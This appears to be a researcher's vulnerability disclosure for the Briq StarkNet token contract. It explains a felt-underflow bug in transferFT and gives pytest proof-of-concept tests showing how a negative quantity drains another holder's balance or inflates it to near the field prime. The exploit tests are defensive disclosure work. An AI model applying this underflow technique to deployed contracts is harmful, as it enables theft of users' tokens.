# Briq Negative Transfers

- Relevant Function: https://github.com/briqNFT/briq-protocol/blob/next/contracts/briq_erc1155_like/transferability.cairo#L87

### PoC

Add the following file to your `tests/` directory. This is just the skeleton. I will add different test cases as I go, to explain what can and can not be exploited with this bug.

import os
import pytest
import pytest_asyncio

from starkware.starknet.testing.starknet import Starknet
from starkware.starkware_utils.error_handling import StarkException


from starkware.starknet.compiler.compile import compile_starknet_files

CONTRACT_SRC = os.path.join(os.path.dirname(__file__), "..", "contracts")

FAKE_BRIQ_PROXY_ADDRESS = 0xfadecafe
ADMIN = 0x0  # No proxy so no admin
ADDRESS = 0x123456
OTHER_ADDRESS = 0x654321

def compile(path):
    return compile_starknet_files(
        files=[os.path.join(CONTRACT_SRC, path)],
        debug_info=True
    )

import asyncio
@pytest.fixture(scope="session")
def event_loop():
    return asyncio.get_event_loop()


@pytest.fixture(scope="session")
def compiled_briq():
    return compile("briq_interface.cairo")

@pytest_asyncio.fixture(scope="session")
async def empty_starknet():
    return await Starknet.empty()

@pytest_asyncio.fixture
async def starknet(empty_starknet):
    # Create a new Starknet class that simulates the StarkNet
    return Starknet(state=empty_starknet.state.copy())

@pytest_asyncio.fixture
async def briq_contract(starknet: Starknet, compiled_briq):
    briq_contract = await starknet.deploy(contract_def=compiled_briq)
    return briq_contract


def invoke_briq(call, addr=ADMIN):
    return call.invoke(caller_address=addr)

---

#### First scenario: Naive negative transfer (not possible)

The following test case is attempting to transfer `-90` tokens from an account that has `100` tokens. It fails because of [this hint in `assert_le_felt`](https://github.com/starkware-libs/cairo-lang/blob/master/src/starkware/cairo/common/math.cairo#L162), because `-90` is represented as a very large number (361850...0391).

One thing I am not sure about is whether this hint has to be executed. At the moment, all hints are whitelisted, and you therefore can not remove this hint and inject a malicious one later. But are hint whitelists going to be removed at some point in the future?

The rest of the checks in [`assert_le_felt`](https://github.com/starkware-libs/cairo-lang/blob/master/src/starkware/cairo/common/math.cairo#L153) should still prevent this from being exploitable.

@pytest.mark.asyncio
async def test_negative_transfer_basic(briq_contract):
    mint_amount = 100
    transfer_amount = -90
    await invoke_briq(briq_contract.mintFT(owner=ADDRESS, material=1, qty=mint_amount))
    await invoke_briq(briq_contract.transferFT(sender=ADDRESS, recipient=OTHER_ADDRESS, material=1, qty=transfer_amount))

---
#### Second scenario: Negative transfer with large balance (possible)
Consider the following balances:

User A: P - 1
User B: 100

User A can call `transferFT` with `qty` set to `-x` where `1 <= x <= 100`, and it will drain User B's balance by `x` tokens. User A will drain most of their tokens here, since they are losing `-x`, which underflows to a very large number.

This allows us to get around the checks that prevent [the first scenario](https://hackmd.io/AxXirjSfT8GwViQdHwXCmQ#First-scenario-Naive-negative-transfer-not-possible) from being possible.

The limitation of the exploit is that the attacker needs a large amount of tokens, and they also drain their own funds.

**I am unable to figure out a way to exploit this in a way that is economically feasible to the attacker (help on this would be appreciated)**

@pytest.mark.asyncio
async def test_negative_transfer_large_initial_supply(briq_contract):
    await invoke_briq(briq_contract.mintFT(owner=ADDRESS, material=1, qty=-1))
    print((await briq_contract.balanceOf(owner=ADDRESS, material=1).call()).result.balance)
    
    # OTHER_ADDRESS now has 5 tokens
    await invoke_briq(briq_contract.transferFT(sender=ADDRESS, recipient=OTHER_ADDRESS, material=1, qty=5))

    # Mint 5 more tokens
    await invoke_briq(briq_contract.mintFT(owner=ADDRESS, material=1, qty=5))

    # Transfer -1 tokens to OTHER_ADDRESS
    await invoke_briq(briq_contract.transferFT(sender=ADDRESS, recipient=OTHER_ADDRESS, material=1, qty=-4))

    # The negative token transfer also leads to ADDRESS' balance being drained
    print((await briq_contract.balanceOf(owner=OTHER_ADDRESS, material=1).call()).result.balance)
    print((await briq_contract.balanceOf(owner=ADDRESS, material=1).call()).result.balance)

    # User A now wants to transfer his 5 tokens, but he no longer has enough
    await invoke_briq(briq_contract.transferFT(sender=OTHER_ADDRESS, recipient=ADDRESS, material=1, qty=5))

It is also worth noting that in this code snippet, if `ADDRESS` transfers `-6` tokens (instead of `-1`), to underflow `OTHER_ADDRESS`'s balance, `OTHER_ADDRESS` will have `P - 1` tokens (a very large number).